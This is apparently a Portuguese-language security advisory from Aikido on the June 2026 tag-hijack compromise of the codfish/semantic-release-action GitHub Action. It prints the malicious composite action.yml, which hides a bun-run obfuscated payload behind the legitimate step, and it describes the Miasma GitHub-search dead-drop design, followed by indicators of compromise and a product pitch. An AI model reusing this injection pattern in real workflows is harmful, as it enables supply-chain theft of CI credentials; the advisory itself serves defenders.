Em 24 de junho de 2026, o codfish/semantic-release-action Uma GitHub Action foi comprometida por meio de um ataque de commit impostor. Um invasor fez um force-push de dois commits maliciosos no repositório e redirecionou dezesseis tags para eles, incluindo as tags de versão principal flutuantes v2, v3, v4, e v5. Qualquer workflow que referencie a action por uma dessas tags puxará e executará o código do invasor em sua próxima execução de CI.
Esta action tem sido a maneira padrão de integrar o semantic-release em GitHub Actions desde 2019 e possui mais de 100 estrelas no GitHub. Workflows que a utilizam para releases automatizados quase sempre possuem um GITHUB_TOKEN e frequentemente um NPM_TOKEN com acesso de publicação, que é exatamente o tipo de acesso que um invasor deseja obter.
Como as tags foram sequestradas
Tags Git não são protegidas por padrão. Qualquer pessoa com acesso de push a um repositório pode forçar uma tag a apontar para um commit diferente, e o GitHub Actions resolve uma referência de tag no momento em que um workflow é executado. Mover uma tag reescreve retroativamente cada execução futura que a referencia, sem nenhum aviso para a pessoa que escreveu o workflow.
O invasor usou isso contra codfish/semantic-release-action em duas etapas. O primeiro commit malicioso capturou quinze tags: v2.2.1, toda a linha v3 (v3, v3.0.0 através de v3.5.0), toda a linha v4 (v4, v4.0.0, v4.0.1), e toda a linha v5 (v5, v5.0.0). Um segundo commit é um filho direto do primeiro e pegou a v2 tag. Ambos os commits entregam um payload byte-idêntico index.js payload, confirmado por hash.
Nenhum dos commits é um ancestral do principal branch do repositório. Eles foram enxertados como órfãos, depois disfarçados para evitar suspeitas em uma rápida git log verificação. O primeiro commit reutiliza a identidade do autor, a data e a mensagem de um commit real de 9 de novembro de 2023:
commit 5792aba0e2180b9b80b77644370a6889d5817456
Author: Chris O'Donnell <1666298+codfish@users.noreply.github.com>
Date: Thu Nov 9 16:49:48 2023 +0000
Merge pull request #195 from codfish/force-installEsses metadados são reais, extraídos de um merge legítimo no histórico do projeto. No entanto, o conteúdo do arquivo foi trocado pelo payload malicioso.
O que mudou em action.yml
codfish/semantic-release-action originalmente executada como uma action baseada em Docker, construindo um Container a partir do Dockerfile e invocando entrypoint.js. Os commits maliciosos substituem action.yml com uma ação composta em vez disso:
runs:
using: composite
steps:
- uses: "codfish/semantic-release-action@8f9a58f2acdc190c356f79159b5de2548cdb63cd"
with:
branches: "${{ inputs.branches }}"
# ...remaining inputs passed through unchanged
- uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6"
if: always()
- name: Cleanup Action
if: always()
shell: bash
run: bun run $GITHUB_ACTION_PATH/index.jsO primeiro passo ainda chama o real e atual codfish/semantic-release-action, fixado em um commit limpo, para que a ação continue funcionando normalmente e a execução do workflow pareça bem-sucedida. Os dois passos seguintes são executados com if: always(), para que sejam acionados independentemente de o passo legítimo ser bem-sucedido, falhar ou ser ignorado. O segundo passo incorpora oven-sh/setup-bun, uma ação de terceiros real e de outra forma não relacionada, puramente para obter o runtime Bun no runner de CI. O terceiro passo executa o payload, index.js, com bun run.
Os arquivos originais do repositório Dockerfile, entrypoint.js, e entrypoint.spec.js ainda estão no repositório neste commit. Eles simplesmente nunca mais são invocados, já que uma ação composta os ignora completamente. Deixar os arquivos antigos no lugar é uma cobertura de diff mínima. Qualquer pessoa que examine uma lista de arquivos vê o conteúdo usual da ação e nada obviamente faltando.
O payload
O injetado index.js tem 781.580 bytes de JavaScript ofuscado, estruturado como um array de strings com nomes de variáveis codificados em hexadecimal, o estilo de saída de um ofuscador de JavaScript comercial típico:
const _0x307419=_0x42e6;(function(_0xb5d033,_0x1d1124){const _0x23f080={_0x15a6a0:0xf9,_0x3d6efe:0x73a,...Enterrado no corpo ofuscado está a string thebeautifulsnadsoftime, uma correspondência quase exata para TheBeautifulSandsOfTime e com uma única letra transposta. Essa string identifica um dos canais de dead drop usados pelo toolkit de roubo de credenciais Miasma, vazado publicamente em 10 de junho de 2026. O design do Miasma evita um servidor C2 tradicional. Em vez de se conectar à infraestrutura do atacante, o malware pesquisa periodicamente a API de busca de commits públicos do GitHub por essa string marcadora. Quando encontra um commit correspondente, ele trata o payload anexado como um comando assinado e o executa através de eval(). Isso dá ao operador uma maneira de entregar execução remota de código nova a cada runner infectado sem precisar configurar ou manter sua própria infraestrutura, e sem gerar o tráfego de rede de saída que o monitoramento de egresso geralmente sinaliza.
Conexão com a campanha Miasma
O mesmo TheBeautifulSandsOfTime marcador já aparece em atividade da campanha Miasma contra pacotes npm sob o @redhat-cloud-services escopo, e em vários outros repositórios GitHub comprometidos ligados ao mesmo vazamento do toolkit. Uma vez que uma estrutura de roubo de credenciais como esta se torna pública, ela tende a se espalhar rapidamente, já que qualquer operador pode executá-la sem escrever suas próprias ferramentas. codfish/semantic-release-action se encaixa nesse padrão, outra instância do mesmo toolkit atingindo um novo repositório.
Como a Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma cobertura mais ampla em toda a sua equipe, o Device Protection do Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins de IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.
Para proteção futura, considere o Aikido Safe Chain (código aberto). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra o Aikido Intel antes da instalação.
Indicadores de comprometimento
Commits maliciosos
5792aba0e2180b9b80b77644370a6889d5817456(tagsv2.2.1,v3,v3.0.0através dev3.5.0,v4,v4.0.0,v4.0.1,v5,v5.0.0)bcb6b1d409144318e8fad2171d6fe06d02299d1a(tagv2)
Hash do payload
index.js (ambos os commits maliciosos): sha256 9f93d77d32833a515bc406c46da477142bb1ac2babeecb6aa42f98669a6db015
Outros indicadores
- String de marcador de dead drop:
thebeautifulsnadsoftime - Runtime Bun incluído via
oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
Tags afetadas
codfish/semantic-release-action@v2codfish/semantic-release-action@v2.2.1codfish/semantic-release-action@v3através dev3.5.0codfish/semantic-release-action@v4,v4.0.0,v4.0.1codfish/semantic-release-action@v5,v5.0.0
Confirmado limpo
codfish/semantic-release-action@v1.0.0através dev1.10.0codfish/semantic-release-action@v2.0.0

